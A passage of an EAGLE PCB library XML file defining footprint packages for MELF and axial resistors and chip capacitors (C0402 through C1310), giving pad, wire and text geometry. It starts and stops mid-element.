curve=\"-90\"/>\n<wire x1=\"2.286\" y1=\"1.27\" x2=\"2.54\" y2=\"1.016\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.286\" y1=\"-1.27\" x2=\"2.54\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-2.54\" y1=\"-1.016\" x2=\"-2.286\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.286\" y1=\"1.27\" x2=\"-2.286\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-1.016\" x2=\"2.54\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"-1.27\" x2=\"2.286\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"1.016\" x2=\"-2.54\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.413\" y=\"1.651\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.413\" y=\"-2.794\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0102AX\">\n<description>&lt;b&gt;Mini MELF 0102 Axial&lt;/b&gt;</description>\n<circle x=\"0\" y=\"0\" radius=\"0.6\" width=\"0\" layer=\"51\"/>\n<circle x=\"0\" y=\"0\" radius=\"0.6\" width=\"0\" layer=\"52\"/>\n<smd name=\"1\" x=\"0\" y=\"0\" dx=\"1.9\" dy=\"1.9\" layer=\"1\" roundness=\"100\"/>\n<smd name=\"2\" x=\"0\" y=\"0\" dx=\"1.9\" dy=\"1.9\" layer=\"16\" roundness=\"100\"/>\n<text x=\"-1.27\" y=\"0.9525\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.2225\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<hole x=\"0\" y=\"0\" drill=\"1.3\"/>\n</package>\n<package name=\"0922V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0922, grid 7.5 mm</description>\n<wire x1=\"2.54\" y1=\"0\" x2=\"1.397\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-3.81\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<circle x=\"-5.08\" y=\"0\" radius=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-5.08\" y=\"0\" radius=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-0.508\" y=\"1.6764\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.508\" y=\"-2.9972\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<text x=\"-6.858\" y=\"2.54\" size=\"1.016\" layer=\"21\" ratio=\"12\">0922</text>\n<rectangle x1=\"-3.81\" y1=\"-0.4064\" x2=\"1.3208\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"MINI_MELF-0102R\">\n<description>&lt;b&gt;CECC Size RC2211&lt;/b&gt; Reflow Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-1\" y1=\"-0.5\" x2=\"1\" y2=\"-0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1\" y1=\"-0.5\" x2=\"1\" y2=\"0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1\" y1=\"0.5\" x2=\"-1\" y2=\"0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1\" y1=\"0.5\" x2=\"-1\" y2=\"-0.5\" width=\"0.2032\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.9\" y=\"0\" dx=\"0.5\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.9\" y=\"0\" dx=\"0.5\" dy=\"1.3\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"0.9525\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.2225\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0102W\">\n<description>&lt;b&gt;CECC Size RC2211&lt;/b&gt; Wave Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-1\" y1=\"-0.5\" x2=\"1\" y2=\"-0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1\" y1=\"-0.5\" x2=\"1\" y2=\"0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1\" y1=\"0.5\" x2=\"-1\" y2=\"0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1\" y1=\"0.5\" x2=\"-1\" y2=\"-0.5\" width=\"0.2032\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"0\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"0\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"0.9525\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.2225\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0204R\">\n<description>&lt;b&gt;CECC Size RC3715&lt;/b&gt; Reflow Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-1.7\" y1=\"-0.6\" x2=\"1.7\" y2=\"-0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.7\" y1=\"-0.6\" x2=\"1.7\" y2=\"0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.7\" y1=\"0.6\" x2=\"-1.7\" y2=\"0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.7\" y1=\"0.6\" x2=\"-1.7\" y2=\"-0.6\" width=\"0.2032\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.5\" y=\"0\" dx=\"0.8\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.5\" y=\"0\" dx=\"0.8\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"0.9525\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.2225\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0204W\">\n<description>&lt;b&gt;CECC Size RC3715&lt;/b&gt; Wave Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-1.7\" y1=\"-0.6\" x2=\"1.7\" y2=\"-0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.7\" y1=\"-0.6\" x2=\"1.7\" y2=\"0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.7\" y1=\"0.6\" x2=\"-1.7\" y2=\"0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.7\" y1=\"0.6\" x2=\"-1.7\" y2=\"-0.6\" width=\"0.2032\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.5\" y=\"0\" dx=\"1.2\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.5\" y=\"0\" dx=\"1.2\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"0.9525\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.2225\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0207R\">\n<description>&lt;b&gt;CECC Size RC6123&lt;/b&gt; Reflow Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-2.8\" y1=\"-1\" x2=\"2.8\" y2=\"-1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.8\" y1=\"-1\" x2=\"2.8\" y2=\"1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.8\" y1=\"1\" x2=\"-2.8\" y2=\"1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.8\" y1=\"1\" x2=\"-2.8\" y2=\"-1\" width=\"0.2032\" layer=\"51\"/>\n<smd name=\"1\" x=\"-2.25\" y=\"0\" dx=\"1.6\" dy=\"2.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.25\" y=\"0\" dx=\"1.6\" dy=\"2.5\" layer=\"1\"/>\n<text x=\"-2.2225\" y=\"1.5875\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.2225\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0207W\">\n<description>&lt;b&gt;CECC Size RC6123&lt;/b&gt; Wave Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-2.8\" y1=\"-1\" x2=\"2.8\" y2=\"-1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.8\" y1=\"-1\" x2=\"2.8\" y2=\"1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.8\" y1=\"1\" x2=\"-2.8\" y2=\"1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.8\" y1=\"1\" x2=\"-2.8\" y2=\"-1\" width=\"0.2032\" layer=\"51\"/>\n<smd name=\"1\" x=\"-2.6\" y=\"0\" dx=\"2.4\" dy=\"2.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.6\" y=\"0\" dx=\"2.4\" dy=\"2.5\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"1.5875\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"RDH/15\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype RDH, grid 15 mm</description>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-6.858\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-6.096\" y1=\"3.048\" x2=\"-5.207\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.953\" y1=\"2.794\" x2=\"-5.207\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.096\" y1=\"-3.048\" x2=\"-5.207\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.953\" y1=\"-2.794\" x2=\"-5.207\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"2.794\" x2=\"5.207\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"2.794\" x2=\"-4.953\" y2=\"2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"-2.794\" x2=\"5.207\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"-2.794\" x2=\"-4.953\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"3.048\" x2=\"5.207\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"-3.048\" x2=\"5.207\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.477\" y1=\"-2.667\" x2=\"-6.477\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.477\" y1=\"1.016\" x2=\"-6.477\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.477\" y1=\"1.016\" x2=\"-6.477\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.477\" y1=\"-2.667\" x2=\"6.477\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.477\" y1=\"1.016\" x2=\"6.477\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.477\" y1=\"1.016\" x2=\"6.477\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.858\" y1=\"0\" x2=\"7.62\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-6.477\" y1=\"2.667\" x2=\"-6.096\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"6.096\" y1=\"3.048\" x2=\"6.477\" y2=\"2.667\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-6.477\" y1=\"-2.667\" x2=\"-6.096\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"6.096\" y1=\"-3.048\" x2=\"6.477\" y2=\"-2.667\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.62\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-6.35\" y=\"3.4544\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-4.318\" y=\"-0.5842\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<text x=\"4.572\" y=\"-1.7272\" size=\"1.27\" layer=\"51\" ratio=\"10\" rot=\"R90\">RDH</text>\n<rectangle x1=\"-6.7564\" y1=\"-0.4064\" x2=\"-6.4516\" y2=\"0.4064\" layer=\"51\"/>\n<rectangle x1=\"6.4516\" y1=\"-0.4064\" x2=\"6.7564\" y2=\"0.4064\" layer=\"51\"/>\n</package>\n<package name=\"0204V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0204, grid 2.5 mm</description>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"1.27\" y2=\"0\" width=\"0.508\" layer=\"51\"/>\n<wire x1=\"-0.127\" y1=\"0\" x2=\"0.127\" y2=\"0\" width=\"0.508\" layer=\"21\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"0.889\" width=\"0.1524\" layer=\"51\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"0.635\" width=\"0.0508\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.1336\" y=\"1.1684\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.1336\" y=\"-2.3114\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"0309V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0309, grid 2.5 mm</description>\n<wire x1=\"1.27\" y1=\"0\" x2=\"0.635\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-1.27\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"0.762\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"0.254\" y=\"1.016\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"0.254\" y=\"-2.2098\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"0.254\" y1=\"-0.3048\" x2=\"0.5588\" y2=\"0.3048\" layer=\"51\"/>\n<rectangle x1=\"-0.635\" y1=\"-0.3048\" x2=\"-0.3302\" y2=\"0.3048\" layer=\"51\"/>\n<rectangle x1=\"-0.3302\" y1=\"-0.3048\" x2=\"0.254\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"C0603\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.356\" y1=\"0.432\" x2=\"0.356\" y2=\"0.432\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.356\" y1=\"-0.419\" x2=\"0.356\" y2=\"-0.419\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"0.762\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.889\" y=\"-2.032\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.8382\" y1=\"-0.4699\" x2=\"-0.3381\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"0.3302\" y1=\"-0.4699\" x2=\"0.8303\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"C0402\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.245\" y1=\"0.224\" x2=\"0.245\" y2=\"0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.245\" y1=\"-0.224\" x2=\"-0.245\" y2=\"-0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"0.762\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-1.905\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.554\" y1=\"-0.3048\" x2=\"-0.254\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"0.2588\" y1=\"-0.3048\" x2=\"0.5588\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"C0504\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.294\" y1=\"0.559\" x2=\"0.294\" y2=\"0.559\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.294\" y1=\"-0.559\" x2=\"0.294\" y2=\"-0.559\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.7\" y=\"0\" dx=\"1\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.7\" y=\"0\" dx=\"1\" dy=\"1.3\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"0.889\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.159\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.6604\" y1=\"-0.6223\" x2=\"-0.2804\" y2=\"0.6276\" layer=\"51\"/>\n<rectangle x1=\"0.2794\" y1=\"-0.6223\" x2=\"0.6594\" y2=\"0.6276\" layer=\"51\"/>\n<rectangle x1=\"-0.1001\" y1=\"-0.4001\" x2=\"0.1001\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"C0805\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.381\" y1=\"0.66\" x2=\"0.381\" y2=\"0.66\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.356\" y1=\"-0.66\" x2=\"0.381\" y2=\"-0.66\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"1.016\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.889\" y=\"-2.286\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.0922\" y1=\"-0.7239\" x2=\"-0.3421\" y2=\"0.7262\" layer=\"51\"/>\n<rectangle x1=\"0.3556\" y1=\"-0.7239\" x2=\"1.1057\" y2=\"0.7262\" layer=\"51\"/>\n<rectangle x1=\"-0.1001\" y1=\"-0.4001\" x2=\"0.1001\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"C1005\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.245\" y1=\"0.224\" x2=\"0.245\" y2=\"0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.245\" y1=\"-0.224\" x2=\"-0.245\" y2=\"-0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"0.762\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-1.905\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.554\" y1=\"-0.3048\" x2=\"-0.254\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"0.2588\" y1=\"-0.3048\" x2=\"0.5588\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"C1206\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.965\" y1=\"0.787\" x2=\"0.965\" y2=\"0.787\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.965\" y1=\"-0.787\" x2=\"0.965\" y2=\"-0.787\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.143\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.413\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.7018\" y1=\"-0.8509\" x2=\"-0.9517\" y2=\"0.8491\" layer=\"51\"/>\n<rectangle x1=\"0.9517\" y1=\"-0.8491\" x2=\"1.7018\" y2=\"0.8509\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.4001\" x2=\"0.1999\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"C1210\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.9652\" y1=\"1.2446\" x2=\"0.9652\" y2=\"1.2446\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.9652\" y1=\"-1.2446\" x2=\"0.9652\" y2=\"-1.2446\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<text x=\"-1.397\" y=\"1.651\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.397\" y=\"-2.921\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.7018\" y1=\"-1.2954\" x2=\"-0.9517\" y2=\"1.3045\" layer=\"51\"/>\n<rectangle x1=\"0.9517\" y1=\"-1.3045\" x2=\"1.7018\" y2=\"1.2954\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.4001\" x2=\"0.1999\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"C1310\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.294\" y1=\"0.559\" x2=\"0.294\" y2=\"0.559\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.294\" y1=\"-0.559\" x2=\"0.294\" y2=\"-0.559\" 